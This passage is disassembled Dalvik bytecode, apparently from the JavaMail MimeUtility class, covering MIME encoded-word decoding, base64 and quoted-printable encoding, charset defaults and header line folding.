00000014 invoke-virtual String->indexOf(String, I)I, p0, v2, v0
0000001A move-result v2
0000001C if-gez v2, :26
:20
00000020 if-nez v0, :88
:24
00000024 return-object p0
:26
00000026 invoke-virtual String->substring(I, I)String, p0, v0, v2
0000002C move-result-object v3
0000002E invoke-virtual StringBuffer->append(String)StringBuffer, v1, v3
00000034 add-int/lit8 v3, v2, 0x2
00000038 invoke-virtual String->indexOf(I, I)I, p0, v5, v3
0000003E move-result v3
00000040 if-ltz v3, :20
:44
00000044 add-int/lit8 v3, v3, 0x1
00000048 invoke-virtual String->indexOf(I, I)I, p0, v5, v3
0000004E move-result v3
00000050 if-ltz v3, :20
:54
00000054 const-string v4, "?="
00000058 add-int/lit8 v3, v3, 0x1
0000005C invoke-virtual String->indexOf(String, I)I, p0, v4, v3
00000062 move-result v3
00000064 if-ltz v3, :20
:68
00000068 add-int/lit8 v0, v3, 0x2
0000006C invoke-virtual String->substring(I, I)String, p0, v2, v0
00000072 move-result-object v0
:74
00000074 invoke-static MimeUtility->decodeWord(String)String, v0
:7A
0000007A move-result-object v0
:7C
0000007C invoke-virtual StringBuffer->append(String)StringBuffer, v1, v0
00000082 add-int/lit8 v0, v3, 0x2
00000086 goto :10
:88
00000088 invoke-virtual String->length()I, p0
0000008E move-result v2
00000090 if-ge v0, v2, :A2
:94
00000094 invoke-virtual String->substring(I)String, p0, v0
0000009A move-result-object v0
0000009C invoke-virtual StringBuffer->append(String)StringBuffer, v1, v0
:A2
000000A2 invoke-virtual StringBuffer->toString()String, v1
000000A8 move-result-object p0
000000AA goto :24
:AC
000000AC move-exception v2
000000AE goto :7C
.catch ParseException {:74 .. :7A} :AC
.end method
.method public static decodeText(String)String
.registers 10
00000000 const/4 v4, 0x1
00000002 const/4 v1, 0x0
00000004 const-string v0, " \t\n\r"
00000008 const-string v2, "=?"
0000000C invoke-virtual String->indexOf(String)I, p0, v2
00000012 move-result v2
00000014 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000016 if-ne v2, v3, :1C
:1A
0000001A return-object p0
:1C
0000001C new-instance v5, StringTokenizer
00000020 invoke-direct StringTokenizer-><init>(String, String, Z)V, v5, p0, v0, v4
00000026 new-instance v6, StringBuffer
0000002A invoke-direct StringBuffer-><init>()V, v6
00000030 new-instance v7, StringBuffer
00000034 invoke-direct StringBuffer-><init>()V, v7
0000003A move v0, v1
:3C
0000003C invoke-virtual StringTokenizer->hasMoreTokens()Z, v5
00000042 move-result v2
00000044 if-nez v2, :58
:48
00000048 invoke-virtual StringBuffer->append(StringBuffer)StringBuffer, v6, v7
0000004E invoke-virtual StringBuffer->toString()String, v6
00000054 move-result-object p0
00000056 goto :1A
:58
00000058 invoke-virtual StringTokenizer->nextToken()String, v5
0000005E move-result-object v3
00000060 invoke-virtual String->charAt(I)C, v3, v1
00000066 move-result v2
00000068 const/16 v8, 0x20
0000006C if-eq v2, v8, :88
:70
00000070 const/16 v8, 0x9
00000074 if-eq v2, v8, :88
:78
00000078 const/16 v8, 0xD
0000007C if-eq v2, v8, :88
:80
00000080 const/16 v8, 0xA
00000084 if-ne v2, v8, :90
:88
00000088 invoke-virtual StringBuffer->append(C)StringBuffer, v7, v2
0000008E goto :3C
:90
00000090 invoke-static MimeUtility->decodeWord(String)String, v3
00000096 move-result-object v2
00000098 if-nez v0, :AE
:9C
0000009C invoke-virtual StringBuffer->length()I, v7
000000A2 move-result v8
000000A4 if-lez v8, :AE
:A8
000000A8 invoke-virtual StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:AE
000000AE move v0, v4
:B0
000000B0 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v2
000000B6 invoke-virtual StringBuffer->setLength(I)V, v7, v1
000000BC goto :3C
:BE
000000BE move-exception v2
000000C0 sget-boolean v2, MimeUtility->decodeStrict:Z
000000C4 if-nez v2, :120
:C8
000000C8 invoke-static MimeUtility->decodeInnerWords(String)String, v3
000000CE move-result-object v2
000000D0 if-eq v2, v3, :108
:D4
000000D4 if-eqz v0, :E8
:D8
000000D8 const-string v0, "=?"
000000DC invoke-virtual String->startsWith(String)Z, v3, v0
000000E2 move-result v0
000000E4 if-nez v0, :FA
:E8
000000E8 invoke-virtual StringBuffer->length()I, v7
000000EE move-result v0
000000F0 if-lez v0, :FA
:F4
000000F4 invoke-virtual StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:FA
000000FA const-string v0, "?="
000000FE invoke-virtual String->endsWith(String)Z, v3, v0
00000104 move-result v0
00000106 goto :B0
:108
00000108 invoke-virtual StringBuffer->length()I, v7
0000010E move-result v0
00000110 if-lez v0, :11A
:114
00000114 invoke-virtual StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:11A
0000011A move-object v2, v3
0000011C move v0, v1
0000011E goto :B0
:120
00000120 invoke-virtual StringBuffer->length()I, v7
00000126 move-result v0
00000128 if-lez v0, :132
:12C
0000012C invoke-virtual StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:132
00000132 move-object v2, v3
00000134 move v0, v1
00000136 goto :B0
.catch ParseException {:90 .. :AE} :BE
.end method
.method public static decodeWord(String)String
.registers 7
00000000 const/16 v3, 0x3F
00000004 const/4 v4, 0xFFFFFFFFFFFFFFFF
00000006 const-string v0, "=?"
0000000A invoke-virtual String->startsWith(String)Z, p0, v0
00000010 move-result v0
00000012 if-nez v0, :40
:16
00000016 new-instance v0, ParseException
0000001A new-instance v1, StringBuilder
0000001E const-string v2, "encoded word does not start with \"=?\": "
00000022 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000028 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p0
0000002E move-result-object v1
00000030 invoke-virtual StringBuilder->toString()String, v1
00000036 move-result-object v1
00000038 invoke-direct ParseException-><init>(String)V, v0, v1
0000003E throw v0
:40
00000040 const/4 v0, 0x2
00000042 invoke-virtual String->indexOf(I, I)I, p0, v3, v0
00000048 move-result v1
0000004A if-ne v1, v4, :78
:4E
0000004E new-instance v0, ParseException
00000052 new-instance v1, StringBuilder
00000056 const-string v2, "encoded word does not include charset: "
0000005A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000060 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p0
00000066 move-result-object v1
00000068 invoke-virtual StringBuilder->toString()String, v1
0000006E move-result-object v1
00000070 invoke-direct ParseException-><init>(String)V, v0, v1
00000076 throw v0
:78
00000078 invoke-virtual String->substring(I, I)String, p0, v0, v1
0000007E move-result-object v0
00000080 invoke-static MimeUtility->javaCharset(String)String, v0
00000086 move-result-object v2
00000088 add-int/lit8 v0, v1, 0x1
0000008C invoke-virtual String->indexOf(I, I)I, p0, v3, v0
00000092 move-result v1
00000094 if-ne v1, v4, :C2
:98
00000098 new-instance v0, ParseException
0000009C new-instance v1, StringBuilder
000000A0 const-string v2, "encoded word does not include encoding: "
000000A4 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000AA invoke-virtual StringBuilder->append(String)StringBuilder, v1, p0
000000B0 move-result-object v1
000000B2 invoke-virtual StringBuilder->toString()String, v1
000000B8 move-result-object v1
000000BA invoke-direct ParseException-><init>(String)V, v0, v1
000000C0 throw v0
:C2
000000C2 invoke-virtual String->substring(I, I)String, p0, v0, v1
000000C8 move-result-object v0
000000CA add-int/lit8 v1, v1, 0x1
000000CE const-string v3, "?="
000000D2 invoke-virtual String->indexOf(String, I)I, p0, v3, v1
000000D8 move-result v3
000000DA if-ne v3, v4, :108
:DE
000000DE new-instance v0, ParseException
000000E2 new-instance v1, StringBuilder
000000E6 const-string v2, "encoded word does not end with \"?=\": "
000000EA invoke-direct StringBuilder-><init>(String)V, v1, v2
000000F0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p0
000000F6 move-result-object v1
000000F8 invoke-virtual StringBuilder->toString()String, v1
000000FE move-result-object v1
00000100 invoke-direct ParseException-><init>(String)V, v0, v1
00000106 throw v0
:108
00000108 invoke-virtual String->substring(I, I)String, p0, v1, v3
0000010E move-result-object v1
:110
00000110 invoke-virtual String->length()I, v1
00000116 move-result v4
00000118 if-lez v4, :232
:11C
0000011C new-instance v4, ByteArrayInputStream
00000120 invoke-static ASCIIUtility->getBytes(String)[B, v1
00000126 move-result-object v1
00000128 invoke-direct ByteArrayInputStream-><init>([B)V, v4, v1
0000012E const-string v1, "B"
00000132 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000138 move-result v1
0000013A if-eqz v1, :1B6
:13E
0000013E new-instance v0, BASE64DecoderStream
00000142 invoke-direct BASE64DecoderStream-><init>(InputStream)V, v0, v4
:148
00000148 invoke-virtual ByteArrayInputStream->available()I, v4
0000014E move-result v1
00000150 new-array v4, v1, [B
00000154 const/4 v5, 0x0
00000156 invoke-virtual InputStream->read([B, I, I)I, v0, v4, v5, v1
0000015C move-result v1
0000015E if-gtz v1, :216
:162
00000162 const-string v0, ""
:166
00000166 add-int/lit8 v1, v3, 0x2
0000016A invoke-virtual String->length()I, p0
00000170 move-result v4
00000172 if-ge v1, v4, :1B4
:176
00000176 add-int/lit8 v1, v3, 0x2
0000017A invoke-virtual String->substring(I)String, p0, v1
00000180 move-result-object v1
00000182 sget-boolean v3, MimeUtility->decodeStrict:Z
00000186 if-nez v3, :192
:18A
0000018A invoke-static MimeUtility->decodeInnerWords(String)String, v1
00000190 move-result-object v1
:192
00000192 new-instance v3, StringBuilder
00000196 invoke-static String->valueOf(Object)String, v0
0000019C move-result-object v0
0000019E invoke-direct StringBuilder-><init>(String)V, v3, v0
000001A4 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
000001AA move-result-object v0
000001AC invoke-virtual StringBuilder->toString()String, v0
000001B2 move-result-object v0
:1B4
000001B4 return-object v0
:1B6
000001B6 const-string v1, "Q"
000001BA invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000001C0 move-result v1
000001C2 if-eqz v1, :1D6
:1C6
000001C6 new-instance v0, QDecoderStream
000001CA invoke-direct QDecoderStream-><init>(InputStream)V, v0, v4
:1D0
000001D0 goto :148
:1D2
000001D2 move-exception v0
000001D4 throw v0
:1D6
000001D6 new-instance v1, UnsupportedEncodingException
000001DA new-instance v3, StringBuilder
000001DE const-string v4, "unknown encoding: "
000001E2 invoke-direct StringBuilder-><init>(String)V, v3, v4
000001E8 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v0
000001EE move-result-object v0
000001F0 invoke-virtual StringBuilder->toString()String, v0
000001F6 move-result-object v0
000001F8 invoke-direct UnsupportedEncodingException-><init>(String)V, v1, v0
000001FE throw v1
:200
00000200 move-exception v0
00000202 new-instance v1, ParseException
00000206 invoke-virtual IOException->toString()String, v0
0000020C move-result-object v0
0000020E invoke-direct ParseException-><init>(String)V, v1, v0
00000214 throw v1
:216
00000216 new-instance v0, String
0000021A const/4 v5, 0x0
0000021C invoke-direct String-><init>([B, I, I, String)V, v0, v4, v5, v1, v2
:222
00000222 goto :166
:224
00000224 move-exception v0
00000226 new-instance v0, UnsupportedEncodingException
0000022A invoke-direct UnsupportedEncodingException-><init>(String)V, v0, v2
00000230 throw v0
:232
00000232 const-string v0, ""
:236
00000236 goto :166
.catch UnsupportedEncodingException {:110 .. :1D0} :1D2
.catch IOException {:110 .. :1D0} :200
.catch IllegalArgumentException {:110 .. :1D0} :224
.catch UnsupportedEncodingException {:1D6 .. :200} :1D2
.catch IOException {:1D6 .. :200} :200
.catch IllegalArgumentException {:1D6 .. :200} :224
.catch UnsupportedEncodingException {:216 .. :222} :1D2
.catch IOException {:216 .. :222} :200
.catch IllegalArgumentException {:216 .. :222} :224
.catch UnsupportedEncodingException {:232 .. :236} :1D2
.catch IOException {:232 .. :236} :200
.catch IllegalArgumentException {:232 .. :236} :224
.end method
.method private static doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V
.registers 18
00000000 invoke-virtual String->getBytes(String)[B, p0, p2
00000006 move-result-object v2
00000008 if-eqz p1, :72
:C
0000000C invoke-static BEncoderStream->encodedLength([B)I, v2
00000012 move-result v1
:14
00000014 if-le v1, p3, :80
:18
00000018 invoke-virtual String->length()I, p0
0000001E move-result v9
00000020 const/4 v1, 0x1
00000022 if-le v9, v1, :80
:26
00000026 const/4 v1, 0x0
00000028 div-int/lit8 v2, v9, 0x2
0000002C invoke-virtual String->substring(I, I)String, p0, v1, v2
00000032 move-result-object v1
00000034 move v2, p1
00000036 move-object v3, p2
00000038 move v4, p3
0000003A move-object v5, p4
0000003C move v6, p5
0000003E move/from16 v7, p6
00000042 move-object/from16 v8, p7
00000046 invoke-static/range MimeUtility->doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V, v1 .. v8
0000004C div-int/lit8 v1, v9, 0x2
00000050 invoke-virtual String->substring(I, I)String, p0, v1, v9
00000056 move-result-object v1
00000058 const/4 v6, 0x0
0000005A move v2, p1
0000005C move-object v3, p2
0000005E move v4, p3
00000060 move-object v5, p4
00000062 move/from16 v7, p6
00000066 move-object/from16 v8, p7
0000006A invoke-static/range MimeUtility->doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V, v1 .. v8
:70
00000070 return-void
:72
00000072 move/from16 v0, p6
00000076 invoke-static QEncoderStream->encodedLength([B, Z)I, v2, v0
0000007C move-result v1
0000007E goto :14
:80
00000080 new-instance v3, ByteArrayOutputStream
00000084 invoke-direct ByteArrayOutputStream-><init>()V, v3
0000008A if-eqz p1, :E8
:8E
0000008E new-instance v1, BEncoderStream
00000092 invoke-direct BEncoderStream-><init>(OutputStream)V, v1, v3
:98
00000098 invoke-virtual OutputStream->write([B)V, v1, v2
0000009E invoke-virtual OutputStream->close()V, v1
:A4
000000A4 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v3
000000AA move-result-object v2
000000AC if-nez p5, :C6
:B0
000000B0 sget-boolean v1, MimeUtility->foldEncodedWords:Z
000000B4 if-eqz v1, :F8
:B8
000000B8 const-string v1, "\r\n "
000000BC move-object/from16 v0, p7
000000C0 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:C6
000000C6 move-object/from16 v0, p7
000000CA invoke-virtual StringBuffer->append(String)StringBuffer, v0, p4
000000D0 const/4 v1, 0x0
:D2
000000D2 array-length v3, v2
000000D4 if-lt v1, v3, :108
:D8
000000D8 const-string v1, "?="
000000DC move-object/from16 v0, p7
000000E0 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
000000E6 goto :70
:E8
000000E8 new-instance v1, QEncoderStream
000000EC move/from16 v0, p6
000000F0 invoke-direct QEncoderStream-><init>(OutputStream, Z)V, v1, v3, v0
000000F6 goto :98
:F8
000000F8 const-string v1, " "
000000FC move-object/from16 v0, p7
00000100 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000106 goto :C6
:108
00000108 aget-byte v3, v2, v1
0000010C int-to-char v3, v3
0000010E move-object/from16 v0, p7
00000112 invoke-virtual StringBuffer->append(C)StringBuffer, v0, v3
00000118 add-int/lit8 v1, v1, 0x1
0000011C goto :D2
:11E
0000011E move-exception v1
00000120 goto :A4
.catch IOException {:98 .. :A4} :11E
.end method
.method public static encode(OutputStream, String)OutputStream
.registers 5
00000000 if-nez p1, :6
:4
00000004 return-object p0
:6
00000006 const-string v0, "base64"
0000000A invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000010 move-result v0
00000012 if-eqz v0, :24
:16
00000016 new-instance v0, BASE64EncoderStream
0000001A invoke-direct BASE64EncoderStream-><init>(OutputStream)V, v0, p0
00000020 move-object p0, v0
00000022 goto :4
:24
00000024 const-string v0, "quoted-printable"
00000028 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000002E move-result v0
00000030 if-eqz v0, :42
:34
00000034 new-instance v0, QPEncoderStream
00000038 invoke-direct QPEncoderStream-><init>(OutputStream)V, v0, p0
0000003E move-object p0, v0
00000040 goto :4
:42
00000042 const-string v0, "uuencode"
00000046 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000004C move-result v0
0000004E if-nez v0, :72
:52
00000052 const-string v0, "x-uuencode"
00000056 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000005C move-result v0
0000005E if-nez v0, :72
:62
00000062 const-string v0, "x-uue"
00000066 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000006C move-result v0
0000006E if-eqz v0, :80
:72
00000072 new-instance v0, UUEncoderStream
00000076 invoke-direct UUEncoderStream-><init>(OutputStream)V, v0, p0
0000007C move-object p0, v0
0000007E goto :4
:80
00000080 const-string v0, "binary"
00000084 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000008A move-result v0
0000008C if-nez v0, :4
:90
00000090 const-string v0, "7bit"
00000094 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000009A move-result v0
0000009C if-nez v0, :4
:A0
000000A0 const-string v0, "8bit"
000000A4 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
000000AA move-result v0
000000AC if-nez v0, :4
:B0
000000B0 new-instance v0, MessagingException
000000B4 new-instance v1, StringBuilder
000000B8 const-string v2, "Unknown encoding: "
000000BC invoke-direct StringBuilder-><init>(String)V, v1, v2
000000C2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000000C8 move-result-object v1
000000CA invoke-virtual StringBuilder->toString()String, v1
000000D0 move-result-object v1
000000D2 invoke-direct MessagingException-><init>(String)V, v0, v1
000000D8 throw v0
.end method
.method public static encode(OutputStream, String, String)OutputStream
.registers 6
00000000 if-nez p1, :6
:4
00000004 return-object p0
:6
00000006 const-string v0, "base64"
0000000A invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000010 move-result v0
00000012 if-eqz v0, :24
:16
00000016 new-instance v0, BASE64EncoderStream
0000001A invoke-direct BASE64EncoderStream-><init>(OutputStream)V, v0, p0
00000020 move-object p0, v0
00000022 goto :4
:24
00000024 const-string v0, "quoted-printable"
00000028 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000002E move-result v0
00000030 if-eqz v0, :42
:34
00000034 new-instance v0, QPEncoderStream
00000038 invoke-direct QPEncoderStream-><init>(OutputStream)V, v0, p0
0000003E move-object p0, v0
00000040 goto :4
:42
00000042 const-string v0, "uuencode"
00000046 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000004C move-result v0
0000004E if-nez v0, :72
:52
00000052 const-string v0, "x-uuencode"
00000056 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000005C move-result v0
0000005E if-nez v0, :72
:62
00000062 const-string v0, "x-uue"
00000066 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000006C move-result v0
0000006E if-eqz v0, :80
:72
00000072 new-instance v0, UUEncoderStream
00000076 invoke-direct UUEncoderStream-><init>(OutputStream, String)V, v0, p0, p2
0000007C move-object p0, v0
0000007E goto :4
:80
00000080 const-string v0, "binary"
00000084 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000008A move-result v0
0000008C if-nez v0, :4
:90
00000090 const-string v0, "7bit"
00000094 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000009A move-result v0
0000009C if-nez v0, :4
:A0
000000A0 const-string v0, "8bit"
000000A4 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
000000AA move-result v0
000000AC if-nez v0, :4
:B0
000000B0 new-instance v0, MessagingException
000000B4 new-instance v1, StringBuilder
000000B8 const-string v2, "Unknown encoding: "
000000BC invoke-direct StringBuilder-><init>(String)V, v1, v2
000000C2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000000C8 move-result-object v1
000000CA invoke-virtual StringBuilder->toString()String, v1
000000D0 move-result-object v1
000000D2 invoke-direct MessagingException-><init>(String)V, v0, v1
000000D8 throw v0
.end method
.method public static encodeText(String)String
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-static MimeUtility->encodeText(String, String, String)String, p0, v0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static encodeText(String, String, String)String
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-static MimeUtility->encodeWord(String, String, String, Z)String, p0, p1, p2, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static encodeWord(String)String
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-static MimeUtility->encodeWord(String, String, String)String, p0, v0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static encodeWord(String, String, String)String
.registers 4
00000000 const/4 v0, 0x1
00000002 invoke-static MimeUtility->encodeWord(String, String, String, Z)String, p0, p1, p2, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method private static encodeWord(String, String, String, Z)String
.registers 12
00000000 const/4 v5, 0x1
00000002 invoke-static MimeUtility->checkAscii(String)I, p0
00000008 move-result v0
0000000A if-ne v0, v5, :10
:E
0000000E return-object p0
:10
00000010 if-nez p1, :AC
:14
00000014 invoke-static MimeUtility->getDefaultJavaCharset()String
0000001A move-result-object v2
0000001C invoke-static MimeUtility->getDefaultMIMECharset()String
00000022 move-result-object p1
:24
00000024 if-nez p2, :32
:28
00000028 const/4 v1, 0x3
0000002A if-eq v0, v1, :B6
:2E
0000002E const-string p2, "Q"
:32
00000032 const-string v0, "B"
00000036 invoke-virtual String->equalsIgnoreCase(String)Z, p2, v0
0000003C move-result v0
0000003E if-eqz v0, :BC
:42
00000042 move v1, v5
:44
00000044 new-instance v7, StringBuffer
00000048 invoke-direct StringBuffer-><init>()V, v7
0000004E invoke-virtual String->length()I, p1
00000054 move-result v0
00000056 rsub-int/lit8 v3, v0, 0x44
0000005A new-instance v0, StringBuilder
0000005E const-string v4, "=?"
00000062 invoke-direct StringBuilder-><init>(String)V, v0, v4
00000068 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000006E move-result-object v0
00000070 const-string v4, "?"
00000074 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v4
0000007A move-result-object v0
0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
00000082 move-result-object v0
00000084 const-string v4, "?"
00000088 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v4
0000008E move-result-object v0
00000090 invoke-virtual StringBuilder->toString()String, v0
00000096 move-result-object v4
00000098 move-object v0, p0
0000009A move v6, p3
0000009C invoke-static/range MimeUtility->doEncode(String, Z, String, I, String, Z, Z, StringBuffer)V, v0 .. v7
000000A2 invoke-virtual StringBuffer->toString()String, v7
000000A8 move-result-object p0
000000AA goto :E
:AC
000000AC invoke-static MimeUtility->javaCharset(String)String, p1
000000B2 move-result-object v2
000000B4 goto :24
:B6
000000B6 const-string p2, "B"
000000BA goto :32
:BC
000000BC const-string v0, "Q"
000000C0 invoke-virtual String->equalsIgnoreCase(String)Z, p2, v0
000000C6 move-result v0
000000C8 if-eqz v0, :D0
:CC
000000CC const/4 v1, 0x0
000000CE goto :44
:D0
000000D0 new-instance v0, UnsupportedEncodingException
000000D4 new-instance v1, StringBuilder
000000D8 const-string v2, "Unknown transfer encoding: "
000000DC invoke-direct StringBuilder-><init>(String)V, v1, v2
000000E2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
000000E8 move-result-object v1
000000EA invoke-virtual StringBuilder->toString()String, v1
000000F0 move-result-object v1
000000F2 invoke-direct UnsupportedEncodingException-><init>(String)V, v0, v1
000000F8 throw v0
.end method
.method public static fold(I, String)String
.registers 12
00000000 const/16 v9, 0x4C
00000004 const/16 v8, 0x20
00000008 const/16 v7, 0x9
0000000C const/4 v3, 0xFFFFFFFFFFFFFFFF
0000000E const/4 v1, 0x0
00000010 sget-boolean v0, MimeUtility->foldText:Z
00000014 if-nez v0, :1A
:18
00000018 return-object p1
:1A
0000001A invoke-virtual String->length()I, p1
00000020 move-result v0
00000022 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
:26
00000026 if-gez v0, :8A
:2A
0000002A invoke-virtual String->length()I, p1
00000030 move-result v2
00000032 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000036 if-eq v0, v2, :46
:3A
0000003A add-int/lit8 v0, v0, 0x1
0000003E invoke-virtual String->substring(I, I)String, p1, v1, v0
00000044 move-result-object p1
:46
00000046 invoke-virtual String->length()I, p1
0000004C move-result v0
0000004E add-int/2addr v0, p0
00000050 if-le v0, v9, :18
:54
00000054 new-instance v6, StringBuffer
00000058 invoke-virtual String->length()I, p1
0000005E move-result v0
00000060 add-int/lit8 v0, v0, 0x4
00000064 invoke-direct StringBuffer-><init>(I)V, v6, v0
0000006A move v0, v1
:6C
0000006C invoke-virtual String->length()I, p1
00000072 move-result v2
00000074 add-int/2addr v2, p0
00000076 if-gt v2, v9, :B0
:7A
0000007A invoke-virtual StringBuffer->append(String)StringBuffer, v6, p1
00000080 invoke-virtual StringBuffer->toString()String, v6
00000086 move-result-object p1
00000088 goto :18
:8A
0000008A invoke-virtual String->charAt(I)C, p1, v0
00000090 move-result v2
00000092 if-eq v2, v8, :AA
:96
00000096 if-eq v2, v7, :AA
:9A
0000009A const/16 v4, 0xD
0000009E if-eq v2, v4, :AA
:A2
000000A2 const/16 v4, 0xA
000000A6 if-ne v2, v4, :2A
:AA
000000AA add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
000000AE goto :26
:B0
000000B0 move v2, v3
000000B2 move v4, v0
000000B4 move v0, v1
:B6
000000B6 invoke-virtual String->length()I, p1
000000BC move-result v5
000000BE if-lt v0, v5, :D2
:C2
000000C2 if-ne v2, v3, :100
:C6
000000C6 invoke-virtual StringBuffer->append(String)StringBuffer, v6, p1
000000CC const-string p1, ""
000000D0 goto :7A
:D2
000000D2 if-eq v2, v3, :DE
:D6
000000D6 add-int v5, p0, v0
000000DA if-gt v5, v9, :C2
:DE
000000DE invoke-virtual String->charAt(I)C, p1, v0
000000E4 move-result v5
000000E6 if-eq v5, v8, :EE
:EA
000000EA if-ne v5, v7, :F8
:EE
000000EE if-eq v4, v8, :F8
:F2
000000F2 if-eq v4, v7, :F8
:F6
000000F6 move v2, v0
:F8
000000F8 add-int/lit8 v0, v0, 0x1
000000FC move v4, v5
000000FE goto :B6
:100
00000100 invoke-virtual String->substring(I, I)String, p1, v1, v2
00000106 move-result-object v0
00000108 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v0
0000010E const-string v0, "\r\n"
00000112 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v0
00000118 invoke-virtual String->charAt(I)C, p1, v2
0000011E move-result v0
00000120 invoke-virtual StringBuffer->append(C)StringBuffer, v6, v0
00000126 add-int/lit8 v2, v2, 0x1
0000012A invoke-virtual String->substring(I)String, p1, v2
00000130 move-result-object p1
00000132 const/4 p0, 0x1
00000134 goto :6C
.end method
.method public static getDefaultJavaCharset()String
.registers 2
00000000 sget-object v0, MimeUtility->defaultJavaCharset:String
00000004 if-nez v0, :4C
:8
00000008 const/4 v0, 0x0
:A
0000000A const-string v1, "mail.mime.charset"
0000000E invoke-static System->getProperty(String)String, v1
:14
00000014 move-result-object v0
:16
00000016 if-eqz v0, :38
:1A
0000001A invoke-virtual String->length()I, v0
00000020 move-result v1
00000022 if-lez v1, :38
:26
00000026 invoke-static MimeUtility->javaCharset(String)String, v0
0000002C move-result-object v0
0000002E sput-object v0, MimeUtility->defaultJavaCharset:String
00000032 sget-object v0, MimeUtility->defaultJavaCharset:String
:36
00000036 return-object v0
:38
00000038 const-string v0, "file.encoding"
0000003C const-string v1, "8859_1"
00000040 invoke-static System->getProperty(String, String)String, v0, v1
00000046 move-result-object v0
00000048 sput-object v0, MimeUtility->defaultJavaCharset:String
:4C
0000004C sget-object v0, MimeUtility->defaultJavaCharset:String
00000050 goto :36
:52
00000052 move-exception v0
00000054 new-instance v0, InputStreamReader
00000058 new-instance v1, MimeUtility$1NullInputStream
0000005C invoke-direct MimeUtility$1NullInputStream-><init>()V, v1
00000062 invoke-direct InputStreamReader-><init>(InputStream)V, v0, v1
00000068 invoke-virtual InputStreamReader->getEncoding()String, v0
0000006E move-result-object v0
00000070 sput-object v0, MimeUtility->defaultJavaCharset:String
00000074 sget-object v0, MimeUtility->defaultJavaCharset:String
00000078 if-nez v0, :4C
:7C
0000007C const-string v0, "8859_1"
00000080 sput-object v0, MimeUtility->defaultJavaCharset:String
00000084 goto :4C
:86
00000086 move-exception v1
00000088 goto :16
.catch SecurityException {:A .. :14} :86
.catch SecurityException {:38 .. :4C} :52
.end method
.method static getDefaultMIMECharset()String
.registers 1
00000000 sget-object v0, MimeUtility->defaultMIMECharset:String
00000004 if-nez v0, :18
:8
00000008 const-string v0, "mail.mime.charset"
0000000C invoke-static System->getProperty(String)String, v0
00000012 move-result-object v0
00000014 sput-object v0, MimeUtility->defaultMIMECharset:String
:18
00000018 sget-object v0, MimeUtility->defaultMIMECharset:String
0000001C if-nez v0, :34
:20
00000020 invoke-static MimeUtility->getDefaultJavaCharset()String
00000026 move-result-object v0
00000028 invoke-static MimeUtility->mimeCharset(String)String, v0
0000002E move-result-object v0
00000030 sput-object v0, MimeUtility->defaultMIMECharset:String
:34
00000034 sget-object v0, MimeUtility->defaultMIMECharset:String
00000038 return-object v0
:3A
0000003A move-exception v0
0000003C goto :18
.catch SecurityException {:8 .. :18} :3A
.end method
.method public static getEncoding(DataHandler)String
.registers 5
00000000 const/4 v3, 0x1
00000002 const/4 v2, 0x0
00000004 invoke-virtual DataHandler->getName()String, p0
0000000A move-result-object v0
0000000C if-eqz v0, :22
:10
00000010 invoke-virtual DataHandler->getDataSource()DataSource, p0
00000016 move-result-object v0
00000018 invoke-static MimeUtility->getEncoding(DataSource)String, v0
0000001E move-result-object v0
:20
00000020 return-object v0
:22
00000022 new-instance v0, ContentType
00000026 invoke-virtual DataHandler->getContentType()String, p0
0000002C move-result-object v1
0000002E invoke-direct ContentType-><init>(String)V, v0, v1
:34
00000034 const-string v1, "text/*"
